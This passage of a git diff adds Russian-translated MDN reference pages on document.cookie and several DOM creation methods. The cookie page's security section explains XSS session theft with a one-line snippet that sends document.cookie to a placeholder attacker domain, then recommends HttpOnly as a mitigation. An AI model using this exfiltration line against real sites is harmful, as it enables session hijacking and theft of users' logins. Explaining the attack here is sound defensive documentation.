= <em>document</em>.cookie;</pre> + +<p>In the code above <var>allCookies</var> is a string containing a semicolon-separated list of all cookies (i.e. <code><var>key</var>=<var>value</var></code> pairs). Note that each <var>key</var> and <var>value</var> may be surrounded by whitespace (space and tab characters): in fact <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a> mandates a single space after each semicolon, but some user agents may not abide by this.</p> + +<h3 id="Запись_новой_cookie">Запись новой cookie</h3> + +<pre class="syntaxbox notranslate" id="new-cookie_syntax"><em>document</em>.cookie = <em>newCookie</em>;</pre> + +<p>В приведенном коде <code>newCookie</code> - строка в виде <code><em>key</em>=<em>value</em></code><em>. </em>Заметьте, у вас есть возможность установить/обновить лишь одну связку <code><em>key</em>=<em>value</em></code> за один раз, используя этот метод. Стоит отметить, что:</p> + +<ul> + <li>Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator: + <ul> + <li id="new-cookie_path"> + <p><code>;path=<var>path</var></code> (e.g., '<code>/</code>', '<code>/mydir</code>') If not specified, defaults to the current path of the current document location.</p> + + <div class="blockIndicator note"> + <p><strong>Note:</strong> Prior to {{Gecko("6.0")}}, paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.</p> + </div> + + <p>The path must be <strong>absolute</strong> (see <a href="https://tools.ietf.org/html/rfc6265">RFC 6265</a>). For more information on how to use relative paths, see <a href="https://developer.mozilla.org/ru/docs/Web/API/Document/cookie$edit#Using_relative_URLs_in_the_path_parameter">this paragraph</a>.</p> + </li> + <li id="new-cookie_domain"><code>;domain=<var>domain</var></code> (e.g., '<code>example.com</code>' or '<code>subdomain.example.com</code>'). If not specified, this defaults to the host portion of the current document location. Contrary to earlier specifications, leading dots in domain names are ignored, but browsers may decline to set the cookie containing such dots. If a domain is specified, subdomains are always included.</li> + <li id="new-cookie_max-age"><code>;max-age=<var>max-age-in-seconds</var></code> (e.g., <code>60*60*24*365</code> or 31536000 for a year)</li> + <li id="new-cookie_expires"><code>;expires=<var>date-in-GMTString-format</var></code> If neither <code>expires</code> nor <code>max-age</code>specified it will expire at the end of session. + <div class="blockIndicator warning"> + <p>When user privacy is a concern, It is important that any web app implementation will invalidate cookie data after a certain timeout and won't rely on the browser clearing session cookies<br> + <small>One of the most beloved features of Firefox <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=345345">prevents session cookies from ever expiring</a>.<br> + The same <a href="https://code.google.com/p/chromium/issues/detail?id=128513">issue</a> is also occuring with google chrome (and probably with other browsers offering similar features)</small></p> + </div> + + <ul> + <li>See {{jsxref("Date.toUTCString()")}} for help formatting this value.</li> + </ul> + </li> + <li id="new-cookie_secure"><code>;secure</code> Cookie to only be transmitted over secure protocol as https. Before Chrome 52, this flag could appear with cookies from http domains.</li> + <li id="new-cookie_samesite"><code>;samesite</code> <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite</a> prevents the browser from sending this cookie along with cross-site requests. Possible values for the flag are <code>lax</code> or <code>strict</code>. + <ul> + <li>The <code>strict</code> value will prevent the cookie from being sent by the browser to the target site in all cross-site browsing context, even when following a regular link.</li> + <li>The <code>lax</code> value will only send cookies for TOP LEVEL navigation GET requests. This is sufficient for user tracking, but it will prevent many CSRF attacks.</li> + </ul> + </li> + </ul> + </li> + <li>The cookie value string can use {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).</li> + <li>Some user agent implementations support the following cookie prefixes: + <ul> + <li><code>__Secure-</code> Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.</li> + <li><code>__Host-</code> Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.</li> + </ul> + + <div class="blockIndicator note"> + <p>The dash is considered part of the prefix.</p> + </div> + + <div class="blockIndicator note"> + <p>These flags are only setable with the <code>secure</code> attribute.</p> + </div> + </li> +</ul> + +<div class="blockIndicator note"> +<p><strong>Note:</strong> As you can see from the code above, <code>document.cookie</code> is an <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">accessor property</a> with native <em>setter</em> and <em>getter</em> functions, and consequently is <strong>not</strong> a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty#Description">data property</a> with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.</p> +</div> + +<h2 id="Примеры">Примеры</h2> + +<h3 id="Пример_1_Простое_использование">Пример #1: Простое использование</h3> + +<pre class="brush: js notranslate">document.cookie = "name=oeschger"; +document.cookie = "favorite_food=tripe"; +function alertCookie() { + alert(document.cookie); +} +</pre> + +<pre class="brush: html notranslate"><button onclick="alertCookie()">Show cookies</button> +</pre> + +<p>{{EmbedLiveSample('Example_1_Simple_usage', 200, 36)}}</p> + +<h3 id="Пример_2_Получить_cookie_с_именем_test2">Пример #2: Получить cookie с именем <em>test2</em></h3> + +<pre class="brush: js notranslate">document.cookie = "test1=Hello"; +document.cookie = "test2=World"; + +var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1"); + +function alertCookieValue() { + alert(cookieValue); +} +</pre> + +<pre class="brush: html notranslate"><button onclick="alertCookieValue()">Show cookie value</button></pre> + +<p>{{EmbedLiveSample('Example_2_Get_a_sample_cookie_named_test2', 200, 36)}}</p> + +<h3 id="Пример_3_Выполнить_операцию_единожды">Пример #3: Выполнить операцию единожды</h3> + +<p>При использовании следующего кода замените все вхождения <code>doSomethingOnlyOnce</code> (наименование cookie) на другое имя.</p> + +<pre class="brush: js notranslate">function doOnce() { + if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") { + alert("Do something here!"); + document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT"; + } +}</pre> + +<pre class="brush: html notranslate"><button onclick="doOnce()">Only do something once</button></pre> + +<p>{{EmbedLiveSample('Example_3_Do_something_only_once', 200, 36)}}</p> + +<h3 id="Пример_4_Перезагрузить_cookie">Пример #4: Перезагрузить cookie</h3> + +<pre class="brush: js notranslate">function resetOnce() { + document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; +}</pre> + +<pre class="brush: html notranslate"><button onclick="resetOnce()">Reset only once cookie</button></pre> + +<p>{{EmbedLiveSample('Example_4_Reset_the_previous_cookie', 200, 36)}}</p> + +<h3 id="Example_5_Проверить_существование_cookie">Example #5: Проверить существование cookie</h3> + +<pre class="notranslate"><code>//ES5 + +if (document.cookie.split(';').filter(function(item) { + return item.trim().indexOf('reader=') == 0 +}).length) { + console.log('The cookie "reader" exists (ES5)') +} + +//ES2016 + +if (document.cookie.split(';').filter((item) => item.trim().startsWith('reader=')).length) { + console.log('The cookie "reader" exists (ES6)') +}</code></pre> + +<h3 id="Example_6_Проверить_что_cookie_имеет_определенное_значение">Example #6: Проверить, что cookie имеет определенное значение</h3> + +<pre class="notranslate"><code>//ES5 + +if (document.cookie.split(';').filter(function(item) { + return item.indexOf('reader=1') >= 0 +}).length) { + console.log('The cookie "reader" has "1" for value') +} + +//ES2016 + +if (document.cookie.split(';').filter((item) => item.includes('reader=1')).length) { + console.log('The cookie "reader" has "1" for value') +}</code></pre> + +<h2 id="Безопасность">Безопасность</h2> + +<p>It is important to note that the path attribute does <strong>not</strong> protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden <a href="/en-US/docs/HTML/Element/iframe">iframe</a> element with the path of the cookie, then accessing this iframe's <code>contentDocument.cookie</code> property. The only way to protect the cookie is by using a different domain or subdomain, due to the <a href="/en-US/docs/Same_origin_policy_for_JavaScript">same origin policy</a>.</p> + +<p>Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -</p> + +<pre class="brush: js notranslate">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +</pre> + +<p>The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about <a class="external" href="http://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Cookies and Security</a>.</p> + +<h2 id="Заметки">Заметки</h2> + +<ul> + <li>Starting with Firefox 2, a better mechanism for client-side storage is available - <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a>.</li> + <li>You can delete a cookie by simply updating its expiration time to zero.</li> + <li>Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use <a href="/en-US/docs/DOM/Storage">WHATWG DOM Storage</a> if you are going to keep "client-only" data.</li> + <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a> (Section 5.3, "Implementation Limits") specifies that there should be <strong>no maximum length</strong> of a cookie's key or value size, and encourages implementations to support <strong>arbitrarily large cookies</strong>. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.</li> +</ul> + +<p>The reason of the <a href="#Syntax">syntax</a> of the <code>document.cookie</code> accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>):</p> + +<h5 id="The_server_tells_the_client_to_store_a_cookie">The server tells the client to store a cookie</h5> + +<pre class="eval notranslate">HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: cookie_name1=cookie_value1 +Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT + +[content of the page here]</pre> + +<h5 id="The_client_sends_back_to_the_server_its_cookies_previously_stored">The client sends back to the server its cookies previously stored</h5> + +<pre class="eval notranslate">GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 +Accept: */* +</pre> + +<h3 id="Использование_относительных_ссылок_в_параметре_path">Использование относительных ссылок в параметре path</h3> + +<p>The <a href="#new-cookie_path"><code>path</code></a> parameter of a new cookie can accept only <em>absolute</em> paths. If you want to use <em>relative</em> paths, therefore, you need to convert them. The following function can translate <em>relative</em> paths to <em>absolute</em> paths. It is a general-purpose function, but can be of course successifully used for the <a href="#new-cookie_path"><code>path</code></a> parameter of a new cookie, as well.</p> + +<h5 id="Library">Library</h5> + +<pre class="brush: js notranslate">/*\ +|*| +|*| :: Translate relative paths to absolute paths :: +|*| +|*| https://developer.mozilla.org/en-US/docs/Web/API/document.cookie +|*| https://developer.mozilla.org/User:fusionchess +|*| +|*| The following code is released under the GNU Public License, version 3 or later. +|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html +|*| +\*/ + +function relPathToAbs (sRelPath) { + var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1")); + for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) { + nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length; + sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/"); + } + return sDir + sPath.substr(nStart); +}</pre> + +<h5 id="Sample_usage">Sample usage</h5> + +<pre class="brush: js notranslate">/* Let us be in /en-US/docs/Web/API/document.cookie */ + +alert(location.pathname); +// displays: /en-US/docs/Web/API/document.cookie + +alert(relPathToAbs("./")); +// displays: /en-US/docs/Web/API/ + +alert(relPathToAbs("../Guide/API/DOM/Storage")); +// displays: /en-US/docs/Web/Guide/API/DOM/Storage + +alert(relPathToAbs("../../Firefox")); +// displays: /en-US/docs/Firefox + +alert(relPathToAbs("../Guide/././API/../../../Firefox")); +// displays: /en-US/docs/Firefox</pre> + +<h3 id="Относительный_срок_годности_cookie_числовые_примеры">Относительный срок годности cookie: числовые примеры</h3> + +<p>If you don't want to use an <em>absolute date</em> for the <code>end</code> parameter, here you can find some numeric examples of expiration-dates <em>relative to the moment of storage of the cookie</em>:</p> + +<pre class="brush: js notranslate">docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY +docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK +docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days) +docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR</pre> + +<h2 id="Другие_примеры">Другие примеры</h2> + +<h3 id="Example_5_Do_something_only_once_–_a_general_library">Example #5: Do something only once – <em>a general library</em></h3> + +<h4 id="Библиотека">Библиотека</h4> + +<pre class="notranslate"><code>function executeOnce () { + var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string"; + if (bImplGlob) { argc++; } + if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); } + var fExec = arguments[0], sKey = arguments[argc - 2]; + if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); } + if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); } + if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; } + fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []); + document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : ""); + return true; +}</code></pre> + +<h4 id="Синтаксис_2">Синтаксис</h4> + +<pre class="notranslate">executeOnce(<var>callback</var>[, <var>thisObject</var>[, <var>argumentToPass1</var>[, <var>argumentToPass2</var>[, …[, <var>argumentToPassN</var>]]]]], <var>identifier</var>[, <var>onlyHere</var>])</pre> + +<h4 id="Описание">Описание</h4> + +<p>Executes a function only once, even after the refresh of the page.</p> + +<h4 id="Параметры">Параметры</h4> + +<dl> + <dt><code>callback</code></dt> + <dd>The function to be executed ({{jsxref("function", "", "", "1")}}).</dd> + <dt><code>thisObject</code> Optional</dt> + <dd>The {{jsxref("Operators/this", "this")}} object ({{jsxref("Object", "", "", "1")}} or {{jsxref("Global_Objects/null", "null")}}).</dd> + <dt><code>argumentToPass1, argumentToPass2, argumentToPassN</code> Optional</dt> + <dd>The arguments of the <code>callback</code> function.</dd> + <dt><code>identifier</code></dt> + <dd>The identifier to check, i.e. the name of the cookie ({{jsxref("String", "string", "", "1")}})</dd> + <dt><code>onlyHere</code> Optional</dt> + <dd>A {{jsxref("Boolean", "boolean", "", "1")}} expressing whether the cookie will use the local path (<code>true</code>) instead of the global one (<code>false</code> or <code>undefined</code>) ({{jsxref("Boolean", "boolean", "", "1")}} or {{jsxref("Global_Objects/undefined", "undefined")}})</dd> +</dl> + +<h4 id="Примеры_использования">Примеры использования</h4> + +<pre class="notranslate"><code>function alertSomething (sMsg) { + alert(sMsg); +} + +executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");</code></pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-8747038", "Document.cookie")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>Initial definition</td> + </tr> + <tr> + <td>{{SpecName("Cookie Prefixes")}}</td> + <td>{{Spec2("Cookie Prefixes")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Браузерная_поддержка">Браузерная поддержка</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.cookie")}}</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">DOM Storage</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/URLUtils.pathname"><code>URLUtils.pathname</code></a></li> + <li>{{jsxref("Date.toUTCString()")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP"><code>HTTP</code></a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Code_snippets/Cookies">Cookies (code snippets)</a></li> + <li><a href="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a></li> +</ul> diff --git a/files/ru/web/api/document/createattribute/index.html b/files/ru/web/api/document/createattribute/index.html new file mode 100644 index 0000000000..97cbba7120 --- /dev/null +++ b/files/ru/web/api/document/createattribute/index.html @@ -0,0 +1,86 @@ +--- +title: Document.createAttribute() +slug: Web/API/Document/createAttribute +translation_of: Web/API/Document/createAttribute +--- +<div>{{ ApiRef("DOM") }}</div> + +<p>Метод <code><strong>Document.createAttribute()</strong></code> создает новый атрибут узла и возвращает его. Созданный объект узла реализует {{domxref("Attr")}} интерфейс . <span style='background-color: #f5f5f5; color: #333333; display: inline !important; float: none; font-family: "Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'>DOM не указывает, какие атрибуты могут быть добавлены к определенному элементу таким способом.</span></p> + +<div class="note"> +<p>Строка, заданная в параметре, преобразуется в нижний регистр.</p> +</div> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>attribute</em> = document.createAttribute(name) +</pre> + +<h3 id="Parameters" name="Parameters">Parameters</h3> + +<ul> + <li><code>name</code> строка, содержащая имя атрибута.</li> +</ul> + +<h3 id="Return_value">Return value</h3> + +<p>A {{domxref("Attr")}} node.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<ul> + <li><code>INVALID_CHARACTER_ERR</code> если параметр содержит недопустимые символы для атрибута XML.</li> +</ul> + +<h2 id="Example" name="Example">Example</h2> + +<pre class="brush:js">var node = document.getElementById("div1"); +var a = document.createAttribute("my_attrib"); +a.value = "newVal"; +node.setAttributeNode(a); +console.log(node.getAttribute("my_attrib")); // "newVal" +</pre> + +<h2 id="Specification" name="Specification">Спецификации</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-createattribute','Document.createAttribute()')}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td>Точное поведение с прописными символами</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','core.html#ID-1084891198','Document.createAttribute()')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>No change.</td> + </tr> + <tr> + <td>{{SpecName('DOM1','level-one-core.html#ID-1084891198','Document.createAttribute()')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Первоначальное определение.</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + + + +<p>{{Compat("api.Document.createAttribute")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Document.createElement()")}}</li> +</ul> diff --git a/files/ru/web/api/document/createcomment/index.html b/files/ru/web/api/document/createcomment/index.html new file mode 100644 index 0000000000..998d803e64 --- /dev/null +++ b/files/ru/web/api/document/createcomment/index.html @@ -0,0 +1,44 @@ +--- +title: Document.createComment() +slug: Web/API/Document/createComment +translation_of: Web/API/Document/createComment +--- +<div>{{ApiRef("DOM")}}</div> + +<h2 id="Summary" name="Summary"><span class="short_text" id="result_box" lang="ru"><span class="hps">Основное</span></span></h2> + +<p><code>createComment()</code> создаёт новый комментарий и возвращает его.</p> + +<h2 id="Syntax" name="Syntax">Синтаксис</h2> + +<pre class="syntaxbox"><em>CommentNode</em> = document.createComment(data) +</pre> + +<h3 id="Parameters" name="Parameters">Аргументы</h3> + +<dl> + <dt><code>data</code></dt> + <dd>Строка, которая будет внутри комментария</dd> +</dl> + +<h2 id="Example" name="Example">Пример</h2> + +<pre class="brush:js">var docu = new DOMParser().parseFromString('<xml></xml>', "application/xml"); +var comment = docu.createComment('Это комментарий на странице'); + +docu.getElementsByTagName('xml')[0].appendChild(comment); + +alert(new XMLSerializer().serializeToString(docu)); +// Выведет: <xml><!--Это комментарий на странице--></xml></pre> + +<h2 id="Notes" name="Notes"><span class="short_text" id="result_box" lang="ru"><span class="hps">Примечания</span></span></h2> + +<ul> + <li>Вернёт <strong><code>NS_ERROR_DOM_INVALID_CHARACTER_ERR</code></strong>, если "--" есть в содержимом тега.</li> +</ul> + +<h2 id="Specification" name="Specification">Спецификация</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createComment">createComment</a></li> +</ul> diff --git a/files/ru/web/api/document/createdocumentfragment/index.html b/files/ru/web/api/document/createdocumentfragment/index.html new file mode 100644 index 0000000000..adc966e765 --- /dev/null +++ b/files/ru/web/api/document/createdocumentfragment/index.html @@ -0,0 +1,137 @@ +--- +title: Document.createDocumentFragment() +slug: Web/API/Document/createDocumentFragment +translation_of: Web/API/Document/createDocumentFragment +--- +<div>{{ApiRef("DOM")}}</div> + +<p>Создает новый пустой {{domxref("DocumentFragment")}}.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">var <var>fragment</var> = document.createDocumentFragment(); +</pre> + +<p><code>fragment</code> это ссылка на пустой объект {{domxref("DocumentFragment")}}.</p> + +<h2 id="Description">Description</h2> + +<p><code>DocumentFragment</code>s являются DOM нодами. Они, при этом, не являются частями основного дерева DOM. Обычно используются для создания фрагмента документа, добавления в него новых элементов/нод, а затем присоединения этого фрагмента к основному дереву. В основном дереве фрагмент буден заменён собственными дочерними элементами.</p> + +<p>Поскольку фрагмент документа хранится <strong>в памяти</strong> и не является частью основного дерева, добавление в него дочерних элементов не вызывает <a href="https://developers.google.com/speed/articles/reflow?csw=1">reflow</a> (вычисление геометрии и позиций элементов). В следствие этого, использование фрагментов документа часто <a href="http://ejohn.org/blog/dom-documentfragments/">увеличивает производительность</a>.</p> + +<h2 id="Example">Example</h2> + +<pre class="brush: js">var element = document.getElementById('ul'); // assuming ul exists +var fragment = document.createDocumentFragment(); +var browsers = ['Firefox', 'Chrome', 'Opera', + 'Safari', 'Internet Explorer']; + +browsers.forEach(function(browser) { + var li = document.createElement('li'); + li.textContent = browser; + fragment.appendChild(li); +}); + +element.appendChild(fragment); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('DOM4', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td>Clarifies that the node document of the created document fragment is the context object.</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core', 'core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-core.html#ID-35CB04B5', 'Document.createDocumentFragment()')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>Edge</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li> + <li>{{domxref("documentFragment")}}</li> +</ul> diff --git a/files/ru/web/api/document/createrange/index.html b/files/ru/web/api/document/createrange/index.html new file mode 100644 index 0000000000..823af66676 --- /dev/null +++ b/files/ru/web/api/document/createrange/index.html @@ -0,0 +1,33 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +translation_of: Web/API/Document/createRange +--- +<div>{{APIRef("DOM")}}</div> + +<p>Возвращает новый объект типа {{domxref("Range")}}.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox">range = document.createRange(); +</pre> + +<p><code>range</code> содержит созданный объект {{domxref("Range")}}.</p> + +<h2 id="Example" name="Example">Example</h2> + +<pre class="brush:js">var range = document.createRange(); + +range.setStart(startNode, startOffset); +range.setEnd(endNode, endOffset); +</pre> + +<h2 id="Notes" name="Notes">Notes</h2> + +<p>После того, как Range был создан, Вам необходимо установить границы, прежде чем вы сможете использовать большую часть методов.</p> + +<h2 id="Specification" name="Specification">Specification</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li> +</ul> diff --git a/files/ru/web/api/document/createtextnode/index.html b/files/ru/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..a076f8316f --- /dev/null +++ b/files/ru/web/api/document/createtextnode/index.html @@ -0,0 +1,120 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +translation_of: Web/API/Document/createTextNode +--- +<div>{{APIRef("DOM")}}</div> + +<p>Создает новый текстовый узел.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox"><var>var text</var> = document.createTextNode(<var>data</var>); +</pre> + +<ul> + <li><code>text</code> - это текстовый узел.</li> + <li><code>data</code> - это строка с данными, которые будут помещены в текстовый узел.</li> +</ul> + +<h2 id="Пример">Пример</h2> + +<pre class="brush:js"><!DOCTYPE html> +<html lang="en"> +<head> +<title>createTextNode example</title> +<script> +function addTextNode(text) { + var newtext = document.createTextNode(text), + p1 = document.getElementById("p1"); + + p1.appendChild(newtext); +} +</script> +</head> + +<body> + <button onclick="addTextNode('YES! ');">YES!</button> + <button onclick="addTextNode('NO! ');">NO!</button> + <button onclick="addTextNode('WE CAN! ');">WE CAN!</button> + + <hr /> + + <p id="p1">First line of paragraph.</p> +</body> +</html> +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("DOM3 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td> + <td>{{Spec2("DOM3 Core")}}</td> + <td>No change</td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "core.html#ID-1975348127", "Document.createTextNode()")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость">Совместимость</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari 